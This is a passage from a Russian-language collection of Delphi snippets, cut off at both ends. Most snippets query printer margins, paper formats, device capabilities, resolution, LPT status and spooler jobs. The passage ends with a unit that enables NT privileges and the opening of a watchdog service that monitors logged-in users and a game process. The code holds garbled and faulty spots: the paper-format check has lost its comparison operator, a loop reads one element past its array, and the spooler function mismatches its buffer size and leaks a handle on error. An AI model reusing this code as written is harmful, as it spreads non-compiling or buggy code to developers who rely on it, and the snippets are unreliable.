  Margins.Bottom := ((PhysPageSize.y - PageRes.y) / PixelsPerInch.y) -
    (OffsetStart.y / PixelsPerInch.y);
  // Right Margin
  Margins.Right := ((PhysPageSize.x - PageRes.x) / PixelsPerInch.x) -
    (OffsetStart.x / PixelsPerInch.x);
end;
function InchToCm(Pixel: Single): Single;
// Convert inch to Centimeter
begin
  Result := Pixel * 2.54
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  Margins: TMargins;
begin
  GetPrinterMargins(Margins);
  ShowMessage(Format('Margins: (Left: %1.3f, Top: %1.3f, Right: %1.3f, Bottom: %1.3f)',
    [InchToCm(Margins.Left),
    InchToCm(Margins.Top),
      InchToCm(Margins.Right),
      InchToCm(Margins.Bottom)]));
end;

Как найти все форматы бумаги, поддерживаемые принтером.

Автор: http://www.swissdelphicenter.ch

uses
  Printers, WinSpool;
procedure GetPapernames(sl: TStrings);
type
  TPaperName = array[0..63] of Char;
  TPaperNameArray = array[1..High(Word) div SizeOf(TPaperName)] of TPaperName;
  PPapernameArray = ^TPaperNameArray;
var
  Device, Driver, Port: array[0..255] of Char;
  hDevMode: THandle;
  i, numPaperformats: Integer;
  pPaperFormats: PPapernameArray;
begin
  Printer.PrinterIndex := -1; // Standard printer
  Printer.GetPrinter(Device, Driver, Port, hDevmode);
  numPaperformats := WinSpool.DeviceCapabilities(Device, Port, DC_PAPERNAMES,
    nil, nil);
  if numPaperformats 0 then
  begin
    GetMem(pPaperformats, numPaperformats * SizeOf(TPapername));
    try
      WinSpool.DeviceCapabilities(Device, Port, DC_PAPERNAMES,
        PChar(pPaperFormats), nil);
      sl.Clear;
      for i := 1 to numPaperformats do
        sl.Add(pPaperformats^[i]);
    finally
      FreeMem(pPaperformats);
    end;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  GetPapernames(memo1.Lines);
end;

Как прочитать список возможностей принтера.

Автор: http://www.swissdelphicenter.ch

uses
  Printers;
//------------------------------------------------------------------------------
// Printer Device Debugging Code to TMemo Componenet
// (c) - 1999 / by A. Weidauer
// alex.weiauer@huckfinn.de
//------------------------------------------------------------------------------
procedure GetDeviceSettings(DevCtrl: TMemo);
var
  Sep: string;
  //-----------------------------------------------
  procedure MakeInt(S: string; key: Integer);
  begin
    S := UpperCase(S);
    DevCtrl.Lines.Add(UpperCase(Format(' %36S = %d ',
      [s, GetDeviceCaps(Printer.Handle, Key)])));
  end;
  //-----------------------------------------------
  function StringToBits(S: string): string;
  var
    H: string;
    i: Integer;
    //-----------------------------------------------
    function SubStr(C: Char): string;
    begin
      if c = '0' then
        SubStr := '0000';
      if c = '1' then
        SubStr := '0001';
      if c = '2' then
        SubStr := '0010';
      if c = '3' then
        SubStr := '0011';
      if c = '4' then
        SubStr := '0100';
      if c = '5' then
        SubStr := '0101';
      if c = '6' then
        SubStr := '0110';
      if c = '7' then
        SubStr := '0111';
      if c = '8' then
        SubStr := '1000';
      if c = '9' then
        SubStr := '1001';
      if c = 'A' then
        SubStr := '1010';
      if c = 'B' then
        SubStr := '1011';
      if c = 'C' then
        SubStr := '1100';
      if c = 'D' then
        SubStr := '1101';
      if c = 'E' then
        SubStr := '1110';
      if c = 'F' then
        SubStr := '1111';
    end;
    //-----------------------------------------------
  begin
    StringToBits := '';
    S := UpperCase(s);
    H := '';
    if Length(S) = 0 then
      Exit;
    if Length(S) = 1 then
      S := '0000' + S;
    if Length(S) = 2 then
      S := '000' + S;
    if Length(S) = 3 then
      S := '00' + S;
    if Length(S) = 4 then
      S := '0' + S;
    for i := 1 to Length(s) do
      H := H + ' ' + SubStr(S[i]);
    StringToBits := H;
  end;
  //-----------------------------------------------
  procedure MakeHex(S: string; key: Cardinal);
  var
    h: string;
  begin
    S := UpperCase(S);
    h := Format('%X', [GetDeviceCaps(Printer.Handle, Key)]);
    if Length(H) = 0 then
      Exit;
    if Length(H) = 1 then
      H := '0000' + H;
    if Length(H) = 2 then
      H := '000' + H;
    if Length(H) = 3 then
      H := '00' + H;
    if Length(H) = 4 then
      H := '0' + H;
    DevCtrl.Lines.Add('');
    DevCtrl.Lines.Add(SEP);
    DevCtrl.Lines.Add('');
    DevCtrl.Lines.Add(Format('%37S = Flags(%S) Key(%S)',
      [s, h, StringToBits(H)]
      ));
    // (( GetDeviceCaps(Printer.Handle,Key),
  end;
  //----------------------------------------------------
  procedure MakeFlag(S: string; key, subKey: Cardinal);
  var
    i: Cardinal;
  begin
    S := UpperCase(S);
    i := GetDeviceCaps(Printer.Handle, Key);
    if i and SubKey <> 0 then
      DevCtrl.Lines.Add(Format(' %34S = Flag(%4S) Key(%6D,%S)',
        [s, 'ON ', SubKey, StringToBits(Format('%x', [SubKey]))]))
    else
      DevCtrl.Lines.Add(Format(' %34S = Flag(%4S) Key(%6D,%S)',
        [s, 'OFF', SubKey, StringToBits(Format('%x', [SubKey]))]))
  end;
  //----------------------------------------------------
  function TechnoToStr(i: Integer): string;
  begin
    TechnoToStr := '#ERROR# is Unknwon';
    case i of
      DT_PLOTTER: TechnoToStr := 'Vector Plotter';
      DT_RASDISPLAY: TechnoToStr := 'Raster Display';
      DT_RASPRINTER: TechnoToStr := 'Raster Printer';
      DT_RASCAMERA: TechnoToStr := 'Raster Camera';
      DT_CHARSTREAM: TechnoToStr := 'Character Stream';
      DT_METAFILE: TechnoToStr := 'Metafile';
      DT_DISPFILE: TechnoToStr := 'Display file';
    end;
  end;
  //--Main Procedure
  //----------------------------------------------------------
begin
  DevCtrl.SetFocus;
  DevCtrl.Visible := False;
  if Printer.PrinterIndex < 0 then
    Exit;
  // Device Organisation
  try
    if not (GetMapMode(Printer.Handle) = MM_TEXT) then
      SetMapMode(Printer.Handle, MM_Text);
    DevCtrl.Clear;
    Sep :=
      '_____________________________________________________________';
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    DevCtrl.Lines.Add(' PRINTER : ' + Printer.Printers[Printer.PrinterIndex]);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    DevCtrl.Lines.Add(Format('%36S = %D', ['NUMBER Of COPIES',
      Printer.Copies]));
    if Printer.Orientation = poLandscape then
      DevCtrl.Lines.Add(Format('%36S = LANDSCAPE', ['ORIENTATION']));
    if Printer.Orientation = poPortrait then
      DevCtrl.Lines.Add(Format('%36S = PORTRAIT', ['ORIENTATION']));
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('DRIVERVERSION', DRIVERVERSION);
    DevCtrl.Lines.Add(Format(' %36S = %S', ['TECHNOLOGY',
      UpperCase(TechnoToStr(GetDeviceCaps(Printer.Handle, Technology)))]));
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('WIDTH [mm]', HORZSIZE);
    MakeInt('HEIGHT [mm]', VERTSIZE);
    MakeInt('WIDTH [pix]', HORZRES);
    MakeInt('HEIGHT [pix]', VERTRES);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('Physical Width [pix]', PHYSICALWIDTH);
    MakeInt('Physical Height[pix]', PHYSICALHEIGHT);
    MakeInt('Physical Offset X [pix]', PHYSICALOFFSETX);
    MakeInt('Physical Offset Y [pix]', PHYSICALOFFSETY);
    MakeInt('SCALING FACTOR X', SCALINGFACTORX);
    MakeInt('SCALING FACTOR Y', SCALINGFACTORY);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('horizontal [DPI]', LOGPIXELSX);
    MakeInt('vertial [DPI]', LOGPIXELSY);
    MakeInt('BITS PER PIXEL', BITSPIXEL);
    MakeInt('COLOR PLANES', PLANES);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('NUMBER OF BRUSHES', NUMBRUSHES);
    MakeInt('NUMBER OF PENS', NUMPENS);
    MakeInt('NUMBER OF FONTS', NUMFONTS);
    MakeInt('NUMBER OF COLORS', NUMCOLORS);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('ASPECT Ratio X [DPI]', ASPECTX);
    MakeInt('ASPECT Ratio Y [DPI]', ASPECTY);
    MakeInt('ASPECT Ratio XY [DPI]', ASPECTXY);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('SIZE OF PALETTE', SIZEPALETTE);
    MakeInt('RESERVED TO SYSTEM PALETTE **', NUMRESERVED);
    MakeInt('ACTUAL RASTER RESOLUTION **', COLORRES);
    DevCtrl.Lines.Add('');
    DevCtrl.Lines.Add(' **...only true if KEY RASTERCAPS(RC_PALETTE)= ON');
    MakeFlag('... KEY RASTERCAPS (RC_PALETTE)', RasterCaps, RC_PALETTE);
    DevCtrl.Lines.Add('');
    MakeHex('Clipping Capablities ', ClipCaps);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('No Support ', ClipCaps, CP_NONE);
    MakeFlag('Support Rectangles', ClipCaps, CP_RECTANGLE);
    MakeFlag('Support PolyRegion 32 Bit', ClipCaps, CP_REGION);
    MakeHex('Raster Printing Flags ', RasterCaps);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('Support Bitmap Transfer', RasterCaps, RC_BITBLT);
    MakeFlag('Support Banding', RasterCaps, RC_BANDING);
    MakeFlag('Support Scaling', RasterCaps, RC_SCALING);
    MakeFlag('Support Bitmaps > 64 kByte', RasterCaps, RC_BITMAP64);
    MakeFlag('Support features of Win 2.0', RasterCaps, RC_GDI20_OUTPUT);
    MakeFlag('Support Set~/GetDIBITS()', RasterCaps, RC_DI_BITMAP);
    MakeFlag('Support Palette Devices', RasterCaps, RC_PALETTE);
    MakeFlag('Support SetDIBitsToDevice()', RasterCaps, RC_DIBTODEV);
    MakeFlag('Support Floodfill', RasterCaps, RC_FLOODFILL);
    MakeFlag('Support StretchBlt()', RasterCaps, RC_STRETCHBLT);
    MakeFlag('Support StretchBID()', RasterCaps, RC_STRETCHDIB);
    MakeFlag('Support DIBS', RasterCaps, RC_DEVBITS);
    MakeHex('Curve Printion Flages', CurveCaps);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('No Curve support', CurveCaps, CC_NONE);
    MakeFlag('Support Circles', CurveCaps, CC_Circles);
    MakeFlag('Support Pie', CurveCaps, CC_PIE);
    MakeFlag('Support Arces', CurveCaps, CC_CHORD);
    MakeFlag('Support Ellipses', CurveCaps, CC_ELLIPSEs);
    MakeFlag('Support WIDE FRAMES', CurveCaps, CC_WIDE);
    MakeFlag('Support STYLED FRAMES', CurveCaps, CC_STYLED);
    MakeFlag('Support WIDE&STYLED FRAMES', CurveCaps, CC_WIDESTYLED);
    MakeFlag('Support INTERIORS', CurveCaps, CC_INTERIORS);
    MakeFlag('Support ROUNDRECT', CurveCaps, CC_ROUNDRECT);
    MakeHex('Line & Polygon Printing Flags', LineCaps);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('No Line Support', LineCaps, LC_NONE);
    MakeFlag('Support Polylines', LineCaps, LC_PolyLine);
    MakeFlag('Support Marker', LineCaps, LC_Marker);
    MakeFlag('Support PolyMarker', LineCaps, LC_PolyMarker);
    MakeFlag('Support Wide Lines', LineCaps, LC_WIDE);
    MakeFlag('Support STYLED Lines', LineCaps, LC_STYLED);
    MakeFlag('Support WIDE&STYLED Lines', LineCaps, LC_WIDESTYLED);
    MakeFlag('Support Lines Interiors', LineCaps, LC_INTERIORS);
    MakeHex('Polygon (Areal) Printing Flags', POLYGONALCAPS);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('No Polygon Support', PolygonalCaps, PC_NONE);
    MakeFlag('Filling Alternate Polygons', PolygonalCaps, PC_POLYGON);
    MakeFlag('Drawing Rectangles', PolygonalCaps, PC_RECTANGLE);
    MakeFlag('Filling Winding Polygons', PolygonalCaps, PC_WINDPOLYGON);
    MakeFlag('Drawing Trapezoid (??Flag)', PolygonalCaps, PC_Trapezoid);
    MakeFlag('Drawing a ScanLine', PolygonalCaps, PC_SCANLINE);
    MakeFlag('Drawing Wide Border', PolygonalCaps, PC_WIDE);
    MakeFlag('Drawing Styled Border', PolygonalCaps, PC_STYLED);
    MakeFlag('Drawing WIDE&STYLED Border', PolygonalCaps, PC_WIDESTYLED);
    MakeFlag('Drawing Interiors', PolygonalCaps, PC_INTERIORS);
    MakeHex('Text Printing Flags', TEXTCAPS);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('Support Character Output Precision', TextCaps, TC_OP_CHARACTER);
    MakeFlag('Support Stroke Output Precision', TextCaps, TC_OP_STROKE);
    MakeFlag('Support Stroke Clip Precision', TextCaps, TC_CP_STROKE);
    MakeFlag('Support 90° Character Rotation', TextCaps, TC_CR_90);
    MakeFlag('Support any Character Rotaion', TextCaps, TC_CR_ANY);
    MakeFlag('Support Character Scaling in X&Y', TextCaps, TC_SF_X_YINDEP);
    MakeFlag('Support Character Scaling REAL', TextCaps, TC_SA_DOUBLE);
    MakeFlag('Support Character Scaling RATIONAL', TextCaps, TC_SA_INTEGER);
    MakeFlag('Support Character Scaling EXACT', TextCaps, TC_SA_CONTIN);
    MakeFlag('Support Character Weight REAL', TextCaps, TC_EA_DOUBLE);
    MakeFlag('Support Character Italic', TextCaps, TC_IA_ABLE);
    MakeFlag('Support Character Underline', TextCaps, TC_UA_ABLE);
    MakeFlag('Support Character Strikeout', TextCaps, TC_SO_ABLE);
    MakeFlag('Support Character as RASTER FONT', TextCaps, TC_RA_ABLE);
    MakeFlag('Support Character as VECTOR FONT', TextCaps, TC_VA_ABLE);
    MakeFlag('Reserved Flag ???', TextCaps, TC_Reserved);
    MakeFlag('DEVICE NOT USE a SCROLLBIT BLOCK ?', TextCaps, TC_SCROLLBLT);
    DevCtrl.Lines.Insert(0, '..THE RESULTS ARE:');
  except
    // MessageDlg('The Current Printer is not valid ! ',
    // mtError,[mbok],0);
    Printer.PrinterIndex := -1;
    DevCtrl.Lines.Add(' ! The Printer is not valid !');
  end;
  DevCtrl.Visible := True;
  DevCtrl.SetFocus;
end;

Как получить разрешение принтера по умолчанию.

Автор: http://www.swissdelphicenter.ch

uses
  Printers;
function GetPixelsPerInchX: Integer;
begin
  Result := GetDeviceCaps(Printer.Handle, LOGPIXELSX)
end;
function GetPixelsPerInchY: Integer;
begin
  Result := GetDeviceCaps(Printer.Handle, LOGPIXELSY)
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  Caption := Format('x: %d y: %d DPI (dots per inch)',
    [GetPixelsPerInchX, GetPixelsPerInchY]);
end;

Как получить статус принтера.

Автор: http://www.swissdelphicenter.ch

function TestPrinterStatus(LPTPort: Word): Byte;
var
  Status: byte;
  CheckLPT: word;
begin
  Status := 0;
  if (LPTPort >= 1) and (LPTPort <= 3) then
  begin
    CheckLPT := LPTPort - 1;
    asm
      mov dx, CheckLPT;
      mov al, 0;
      mov ah, 2;
      int 17h;
      mov &Status, ah;
    end;
  end;
  Result := Status;
end;
{
  Pass in the LPT port number you want to check & get the following back:
  01h - Timeout
  08h - I/O Error
  10h - Printer selected
  20h - Out of paper
  40h - Printer acknowledgement
  80h - Printer not busy (0 if busy)
  Note:
  This function doesn't work under NT, it gives an access violation
  from the DOS interrupt call.
 }

Как получить информацию о заданиях на принтере.

В Windows существуют встроенные средства для мониторинга заданий на принтере. Однако, давайте разберёмся, как отслеживать задания на принтере программно. Для существует API функция "EnumJobs", которая позволяет получить давольно много информации о текущем состоянии принтера (Имя задания, Состояние, дату, время и т.д.).

Ниже представлена функция, которая использует EnumJobs и возвращает массив структуры, в котором представлена вся необходимая информация:

uses WinSpool;
type
  JOB_INFO_1_ARRAY = array of JOB_INFO_1;
  function GetSpoolerJobs(sPrinterName: string): JOB_INFO_1_ARRAY;
var
  i: Integer;
  hPrinter: THandle;
  bResult: Boolean;
  cbBuf: DWORD;
  pcbNeeded: DWORD;
  pcReturned: DWORD;
  aJobs: array[0..99] of JOB_INFO_1;
begin
  cbBuf := 1000;
  bResult := OpenPrinter(PChar(sPrinterName), hPrinter, nil);
  if not bResult then
  begin
    ShowMessage('Error opening the printer');
    exit;
  end;
  bResult := EnumJobs(hPrinter, 0, Length(aJobs), 1, @aJobs, cbBuf, pcbNeeded,
    pcReturned);
  if not bResult then
  begin
    ShowMessage('Error Getting Jobs information');
    exit;
  end;
  ClosePrinter(hPrinter);
  for i := 0 to pcReturned - 1 do
  begin
    if aJobs[i].pDocument <> nil then
    begin
      SetLength(Result, Length(Result) + 1);
      Result[Length(Result) - 1] := aJobs[i];
    end;
  end;
end;

Пример использования:

Создайте новый проект со StringGrid и Timer. В StringGrid установите свойства “ColCount” и “RowCount” в 20. У таймера (Timer) установите свойство “Interval” в 500. В обработчик события “OnTime” таймера добавьте следующий код:
procedure TForm1.Timer1Timer(Sender: TObject);
var
  i, ii: Integer;
  aJobs: JOB_INFO_1_ARRAY;
begin
  for i := 0 to StringGrid1.ColCount - 1 do
    for ii := 0 to StringGrid1.RowCount - 1 do
      StringGrid1.Cells[i, ii] := '';
  aJobs := GetSpoolerJobs('HP LaserJet 6L PCL');
  for i := 0 to Length(aJobs) - 1 do
  begin
    StringGrid1.Cells[i, 0] := aJobs[i].pPrinterName;
    StringGrid1.Cells[i, 1] := aJobs[i].pMachineName;
    StringGrid1.Cells[i, 2] := aJobs[i].pUserName;
    StringGrid1.Cells[i, 3] := aJobs[i].pDocument;
    StringGrid1.Cells[i, 4] := aJobs[i].pDatatype;
    StringGrid1.Cells[i, 5] := aJobs[i].pStatus;
    StringGrid1.Cells[i, 6] := IntToStr(aJobs[i].Status);
    case aJobs[i].Status of
      JOB_STATUS_PAUSED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PAUSED';
      JOB_STATUS_ERROR: StringGrid1.Cells[i, 6] := 'JOB_STATUS_ERROR';
      JOB_STATUS_DELETING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_DELETING';
      JOB_STATUS_SPOOLING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_SPOOLING';
      JOB_STATUS_PRINTING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PRINTING';
      JOB_STATUS_OFFLINE: StringGrid1.Cells[i, 6] := 'JOB_STATUS_OFFLINE';
      JOB_STATUS_PAPEROUT: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PAPEROUT';
      JOB_STATUS_PRINTED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PRINTED';
      JOB_STATUS_DELETED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_DELETED';
      JOB_STATUS_BLOCKED_DEVQ: StringGrid1.Cells[i, 6] :=
        'JOB_STATUS_BLOCKED_DEVQ';
      JOB_STATUS_USER_INTERVENTION: StringGrid1.Cells[i, 6] :=
        'JOB_STATUS_USER_INTERVENTION';
      JOB_STATUS_RESTART: StringGrid1.Cells[i, 6] := 'JOB_STATUS_RESTART';
      JOB_POSITION_UNSPECIFIED: StringGrid1.Cells[i, 6] :=
        'JOB_POSITION_UNSPECIFIED';
    else
      StringGrid1.Cells[i, 6] := 'Unknown status...';
    end;
  end;
  StringGrid1.Refresh;
end;
Запустите проект и попробуйте что-нибудь отправить на печать из MSWord или другого приложения и посмотрите в stringgrid. Некоторые замечания и дополнения:

Структура JOB_INFO_1 объявлена в юните WinSpool следующим образом:

JOB_INFO_1 = record
  JobId: DWORD;
  pPrinterName: PAnsiChar;
  pMachineName: PAnsiChar;
  pUserName: PAnsiChar;
  pDocument: PAnsiChar;
  pDatatype: PAnsiChar;
  pStatus: PAnsiChar;
  Status: DWORD;
  Priority: DWORD;
  Position: DWORD;
  TotalPages: DWORD;
  PagesPrinted: DWORD;
  Submitted: TSystemTime;
end;

И массив так же можно объявить следующим образом:

aJobs: array[0..99] of JOB_INFO_1;

Получение дополнительных привилегий под НТ.

Автор: Денис WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение дополнительных привилегий под НТ
В принципе и так все понятно - задаеш название привилегии и
если это возможно, то система их тебе дает
Зависимости: uses Windows, SysUtils;
Автор:       Денис, LiquidStorm_HSS@yahoo.com, Lviv
Copyright:   by LiquidStorm, HomeSoftStudios(tm) aka Denis L.
Дата:        9 августа 2003 г.
***************************************************** }
unit NTPrivelegsU;
// NT Defined Privileges
interface
uses Windows, SysUtils;
const
  SE_CREATE_TOKEN_NAME = 'SeCreateTokenPrivilege';
  SE_ASSIGNPRIMARYTOKEN_NAME = 'SeAssignPrimaryTokenPrivilege';
  SE_LOCK_MEMORY_NAME = 'SeLockMemoryPrivilege';
  SE_INCREASE_QUOTA_NAME = 'SeIncreaseQuotaPrivilege';
  SE_UNSOLICITED_INPUT_NAME = 'SeUnsolicitedInputPrivilege';
  SE_MACHINE_ACCOUNT_NAME = 'SeMachineAccountPrivilege';
  SE_TCB_NAME = 'SeTcbPrivilege';
  SE_SECURITY_NAME = 'SeSecurityPrivilege';
  SE_TAKE_OWNERSHIP_NAME = 'SeTakeOwnershipPrivilege';
  SE_LOAD_DRIVER_NAME = 'SeLoadDriverPrivilege';
  SE_SYSTEM_PROFILE_NAME = 'SeSystemProfilePrivilege';
  SE_SYSTEMTIME_NAME = 'SeSystemtimePrivilege';
  SE_PROF_SINGLE_PROCESS_NAME = 'SeProfileSingleProcessPrivilege';
  SE_INC_BASE_PRIORITY_NAME = 'SeIncreaseBasePriorityPrivilege';
  SE_CREATE_PAGEFILE_NAME = 'SeCreatePagefilePrivilege';
  SE_CREATE_PERMANENT_NAME = 'SeCreatePermanentPrivilege';
  SE_BACKUP_NAME = 'SeBackupPrivilege';
  SE_RESTORE_NAME = 'SeRestorePrivilege';
  SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
  SE_DEBUG_NAME = 'SeDebugPrivilege';
  SE_AUDIT_NAME = 'SeAuditPrivilege';
  SE_SYSTEM_ENVIRONMENT_NAME = 'SeSystemEnvironmentPrivilege';
  SE_CHANGE_NOTIFY_NAME = 'SeChangeNotifyPrivilege';
  SE_REMOTE_SHUTDOWN_NAME = 'SeRemoteShutdownPrivilege';
function AdjustPriviliges(const PrivelegStr: string): Bool; forward;
implementation
function AdjustPriviliges(const PrivelegStr: string): Bool;
var
  hTok: THandle;
  tp: TTokenPrivileges;
begin
  Result := False;
  // Get the current process token handle so we can get privilege.
  if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY,
    hTok) then
  try
    // Get the LUID for privilege.
    if LookupPrivilegeValue(nil, PChar(PrivelegStr), tp.Privileges[0].Luid) then
    begin
      tp.PrivilegeCount := 1; // one privilege to set
      tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      // Get privilege for this process.
      Result := AdjustTokenPrivileges(hTok, False, tp, 0,
        PTokenPrivileges(nil)^, PDWord(nil)^)
    end
  finally
    // Cannot test the return value of AdjustTokenPrivileges.
    if (GetLastError <> ERROR_SUCCESS) then
      raise Exception.Create('AdjustTokenPrivileges enable failed');
    CloseHandle(hTok)
  end
  else
    raise Exception.Create('OpenProcessToken failed');
end;
end.

Пример использования:

unit uWDog;
// define _DEV_ in developing stage - this mean DEBUG version
{.$DEFINE _DEV_}
// define WRITE_DESKTOP in developing stage if you want
// visible confirmation of service work
{.$DEFINE WRITE_DESKTOP}
// define WRITE_NO_LOGIN if you want to write log when
// nobody logged in
{$DEFINE WRITE_NO_LOGIN}
// define WRITE_FOUND if you want to write log when
// everything ok and process found
{$DEFINE WRITE_FOUND}
// define WRITE_UNCHECKED_LOGINS if you want to write log for
// not checked logins (like Administrator - in release)
{$DEFINE WRITE_UNCHECKED_LOGINS}
{$IFNDEF _DEV_}
{$UNDEF WRITE_DESKTOP}
{$ENDIF}
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs,
  ExtCtrls;
type
  TwDog = class(TService)
    dx_time: TTimer;
    procedure ServiceStart(Sender: TService; var Started: Boolean);
    procedure ServiceStop(Sender: TService; var Stopped: Boolean);
    procedure dx_timeTimer(Sender: TObject);
    procedure ServiceCreate(Sender: TObject);
    procedure ServiceDestroy(Sender: TObject);
    procedure ServiceShutdown(Sender: TService);
  private
    { Private declarations }
    procedure InitiateShutdown;
    //procedure AbortShutdown;
  public
    function GetServiceController: TServiceController; override;
    { Public declarations }
  end;
var
  wDog: TwDog;
implementation
{$R *.DFM}
uses ShellAPI, NTPrivelegsU, WinSecur,
  FileCtrl{$IFDEF WRITE_DESKTOP}, DeskTopMsg{$ENDIF};
const
  TimerInterval = 5000; // in msec = 5 sec
  SleepAftLogin = 3000; // in msec = 3 sec
  ProcessName = 'Q3Arena.exe';
  ClassName = 'Quake3ArenaClassWnd';
  WndName = ' '; // 1 space
  CheckUsersCount = 2;
{$IFDEF _DEV_}
  StekServer = '127.0.0.1';
  CheckUsers: array[0..CheckUsersCount - 1] of string =
  ('Internet', 'Administrator');
{$ELSE}
  StekServer = '132.0.0.16';
  CheckUsers: array[0..CheckUsersCount - 1] of string =
  ('Gamer', 'Office');
{$ENDIF}
var
  hLog: THandle;
  CreateOptScan: LongWord;
  xBuf: array[0..$FF - 1] of Char;
  LogPath: string;
  // ------------- forward declarations
function IsLoggedIn: Boolean; forward;
function WriteLog(Status: string): DWord; forward;
procedure SndMessage; forward;
procedure Kill; forward;
{$IFDEF _DEV_}
procedure ShowError(erno: DWord); forward;
{$ENDIF}
// function ProcessTerminate(dwPID:Cardinal):Boolean; forward;
// -------------
procedure AdjTokenPrivelegs(mmName: string);
var
  gler: DWord;
begin
  AdjustPriviliges(mmName);
  gler := GetLastError;
  if (gler <> ERROR_SUCCESS) then
  begin
    WriteLog(Format('%s: [FAILED] ', [mmName]));
{$IFDEF _DEV_}
    ShowError(gler);
{$ENDIF}
    exit;
  end;
  WriteLog(Format('%s: [OK] ', [mmName]));
end;
// -------------
function MyCtrlHandler(dwCtrlType: Dword): Bool; stdcall;
begin
  //
  case dwCtrlType of
    CTRL_LOGOFF_EVENT:
      begin
        WriteLog('CTRL_LOGOFF_EVENT');
        Result := True;
      end;
    CTRL_SHUTDOWN_EVENT:
      begin
        WriteLog('CTRL_SHUTDOWN_EVENT');
        Result := True;
      end;
  else
    Result := False
  end;
end;
// -------------
procedure ServiceController(CtrlCode: DWord); stdcall;
begin
  wDog.Controller(CtrlCode);
end;
// -------------
function TwDog.GetServiceController: TServiceController;
begin
  Result := ServiceController;
end;
// -------------
procedure TwDog.ServiceStart(Sender: TService; var Started: Boolean);
begin
  WriteLog('OnStart');
  Started := True;
end;
// -------------
procedure TwDog.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
  WriteLog('OnStop');
  Stopped := True;
end;
// -------------
procedure TwDog.ServiceCreate(Sender: TObject);
begin
  if sysutils.Win32Platform = VER_PLATFORM_WIN32_NT then
    CreateOptScan := FILE_FLAG_SEQUENTIAL_SCAN
  else
    CreateOptScan := 0;
  GetWindowsDirectory(xBuf, $FF);
  LogPath := Format('%s\wDog', [xBuf]);
  ForceDirectories(LogPath);
  LogPath := Format('%s\%s.log', [LogPath, FormatDateTime('dd.mm.yyyy', Now)]);
  WriteLog('Starting ...');
  AdjTokenPrivelegs(SE_SHUTDOWN_NAME);
  AdjTokenPrivelegs(SE_DEBUG_NAME);
  SetConsoleCtrlHandler(@MyCtrlHandler, True);
  dx_time.Interval := TimerInterval;
  dx_time.Enabled := true;
  WriteLog('Started: [OK]');
end;
// -------------
procedure TwDog.ServiceDestroy(Sender: TObject);
begin
  dx_time.Enabled := false;
  WriteLog('Stopped: [OK]');
  CloseHandle(hLog);
end;
// -------------
function IsLoggedIn: Boolean;
var
  stmp: string;
  i: Byte;
  pid: DWord;
begin
  Result := False;
  pid := GetPidFromProcessName(GetShellProcessName);
  if (pid = 0) or (pid = INVALID_HANDLE_VALUE) then
    // no shell running - no body logged in
    stmp := EmptyStr
  else
    // shell running - get interactive user name
    stmp := GetInteractiveUserName; // get DOMAIN\User
  if stmp = EmptyStr then
  begin
{$IFDEF WRITE_NO_LOGIN}
    WriteLog('[No_Login]');
{$ENDIF}
    Exit;
  end;
  Delete(stmp, 1, Pos('\', stmp)); // get User
  for i := 0 to CheckUsersCount do
    if AnsiSameText(stmp, CheckUsers[i]) then
    begin
      WriteLog(Format('[%s]: check', [stmp]));
      Result := True;
      exit;
    end;
  // if no login detected
{$IFDEF WRITE_UNCHECKED_LOGINS}
  WriteLog(Format('[%s]: no_check', [stmp]));
{$ENDIF}
end;
// -------------
function IsFoundByClass: Boolean;
var
  hwnd: DWord;
begin
  // try to find by classname
  hwnd := FindWindowEx(0, 0, PChar(ClassName), nil);
  if (hwnd = 0) or (hwnd = INVALID_HANDLE_VALUE) then
    Result := False
  else
    Result := True;
{$IFDEF _DEV_}
{$IFDEF WRITE_DESKTOP}
  if not Result then
    writeDirect(10, 30, 'IsFoundByClass: [NO]')
  else
    writeDirect(10, 30, 'IsFoundByClass: [YES]')
{$ENDIF}
{$ENDIF}
end;
// -------------
function IsFoundByProcName: Boolean;
var
  Pid,
    hwnd: DWord;
begin
  Pid := GetPidFromProcessName(ProcessName);
  hwnd := OpenProcess(PROCESS_ALL_ACCESS, False, Pid);
  // if hwnd = 0 then RaiseLastWin32Error;
  if (hwnd = 0) or (hwnd = INVALID_HANDLE_VALUE) then
    Result := False
  else
    Result := True;
  CloseHandle(hwnd);
{$IFDEF _DEV_}
{$IFDEF WRITE_DESKTOP}
  if not Result then
    writeDirect(10, 70, 'IsFoundByProcName: [NO]')
  else
    writeDirect(10, 70, 'IsFoundByProcName: [YES]')
{$ENDIF}
{$ENDIF}
end;
